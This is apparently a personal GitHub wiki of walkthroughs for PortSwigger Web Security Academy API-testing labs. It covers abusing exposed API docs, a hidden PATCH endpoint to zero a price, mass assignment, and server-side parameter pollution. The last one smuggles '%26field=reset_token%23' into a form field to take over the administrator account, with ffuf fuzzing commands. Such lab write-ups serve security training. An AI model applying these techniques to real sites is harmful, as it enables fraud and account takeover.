API testing - gachikuku/portswigger GitHub Wiki

Apprentice lab:
Exploiting an API endpoint using documentation

To solve the lab, find the exposed API documentation and delete carlos. You can log in to your own account using the following credentials: wiener:peter.

  • Solution

    1. Login as wiener:peter.
    2. Recon, find out an endpoint for an api. It's /api
    3. Read it's documentation.
    4. Do e5 to change the verb to DELETE (flow.set @focus method VERB) and send that request to /api/user/calors endpoint.

Practitioner lab:
Finding and exploiting an unused API endpoint

To solve the lab, exploit a hidden API endpoint to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.

  • Solution

    1. Log in as wiener:peter.
    2. Browse to the desired item, and observe the requests made. /api/products/1/price looks interesting.
    3. Using mitmproxy e5 to change the method of the request. After trying couple of Methods PATCH works.
    4. Follow the error messages.e8 to add a request header content-type:application/json.
    5. Send a json PATCH request.
      {
          "price": 0
      }
    6. STATUS 200, price is updated to 0 dollars.
    7. Add item to cart and check the f**k out.

Practitioner lab:
Exploiting a mass assignment vulnerability

To solve the lab, find and exploit a mass assignment vulnerability to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.

  • Solution

    1. Log in as wiener:peter
    2. Place an order like someone would normally do. Study the requests made.
    3. Extra info for API can be found in the /api endpoint.
    4. The GET /api/checkout response reveals parameters in json format, which should be tinkered further.
    5. Change the parameters and see what works. r eplay the requests and also change the method to POST.
    6. HTTP STATUS 201 lab solved.

Practitioner lab:
Exploiting server-side parameter pollution in a query string

To solve the lab, log in as the administrator and delete carlos.

- Solution

  1. Run a quick overview on the lab

    echo "https://uuid.web-security-academy.net/" | hakrawler | sort -u

    Notice an interesting endpoint /forgot-password, which otherwise could be found by exploring the application.

  2. SSPP the query string of the POST request of /forgot-password endpoint. Quick way to URL encode characters.

    echo -n "<insert character>" | jq -sRr @uri
  3. Export (x4) a raw_request to a file (request.txt).

  4. FUZZ using Server-side variable names payload, to find out the value of field.

    ffuf -request request.txt -w serversidevariablenames.txt -u https://uuid.web-security-academy.net/forgot-password -c

    request.txt

    POST https://uuid.web-security-academy.net/forgot-password HTTP/2.0
    user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    accept: */*
    accept-language: en-US,en;q=0.5
    accept-encoding: gzip, deflate, br, zstd
    referer: https://uuid.web-security-academy.net/forgot-password
    content-type: x-www-form-urlencoded
    content-length: 73
    origin: https://uuid.web-security-academy.net
    cookie: session=bx0O0PYLOGi1GC6qvityfzVv7Ex3VCdC
    sec-fetch-dest: empty
    sec-fetch-mode: cors
    sec-fetch-site: same-origin
    priority: u=0
    te: trailers
    
    csrf=YCtubTgoFPyal8fAO0kXNuKC90RZvtTi&username=administrator%26field=FUZZ%23
    
  5. Through BF, username and email are found as valid fields, because the response was the same as original.

  6. Inspect /static/js/forgotPassword.js to find out that field can take reset_token as a parameter.

    JavaScript source code.
    let forgotPwdReady = (callback) => {
        if (document.readyState !== "loading") callback();
        else document.addEventListener("DOMContentLoaded", callback);
    }
    
    function urlencodeFormData(fd){
        let s = '';
        function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
        for(let pair of fd.entries()){
            if(typeof pair[1]=='string'){
                s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
            }
        }
        return s;
    }
    
    const validateInputsAndCreateMsg = () => {
        try {
            const forgotPasswordError = document.getElementById("forgot-password-error");
            forgotPasswordError.textContent = "";
            const forgotPasswordForm = document.getElementById("forgot-password-form");
            const usernameInput = document.getElementsByName("username").item(0);
            if (usernameInput && !usernameInput.checkValidity()) {
                usernameInput.reportValidity();
                return;
            }
            const formData = new FormData(forgotPasswordForm);
            const config = {
                method: "POST",
                headers: {
                    "Content-Type": "x-www-form-urlencoded",
                },
                body: urlencodeFormData(formData)
            };
            fetch(window.location.pathname, config)
                .then(response => response.json())
                .then(jsonResponse => {
                    if (!jsonResponse.hasOwnProperty("result"))
                    {
                        forgotPasswordError.textContent = "Invalid username";
                    }
                    else
                    {
                        forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`;
                        forgotPasswordForm.className = "";
                        forgotPasswordForm.style.display = "none";
                    }
                })
                .catch(err => {
                    forgotPasswordError.textContent = "Invalid username";
                });
        } catch (error) {
            console.error("Unexpected Error:", error);
        }
    }
    
    const displayMsg = (e) => {
        e.preventDefault();
        validateInputsAndCreateMsg(e);
    };
    
    forgotPwdReady(() => {
        const queryString = window.location.search;
        const urlParams = new URLSearchParams(queryString);
        const resetToken = urlParams.get('reset-token');
        if (resetToken)
        {
            window.location.href = `/forgot-password?reset_token=${resetToken}`;
        }
        else
        {
            const forgotPasswordBtn = document.getElementById("forgot-password-btn");
            forgotPasswordBtn.addEventListener("click", displayMsg);
        }
    });
  7. Make another POST request to /forgot-password endpoint but with query string as shown below

    csrf=AonxPpz8VTPuuniYxXhxTIZChWrKwBRk&username=administrator%26field=reset_token%23
  8. Use the reset_token that has been generated from the POST request like so

    /forgot-password?reset_token=<token>
  9. Set a password, login in as administrator, and access the /admin panel to delete poor carlos.

NOTE:
Many editors will silently add a newline to the final line of a document (I'm looking at you, Vim).

⚠️ **GitHub.com Fallback** ⚠️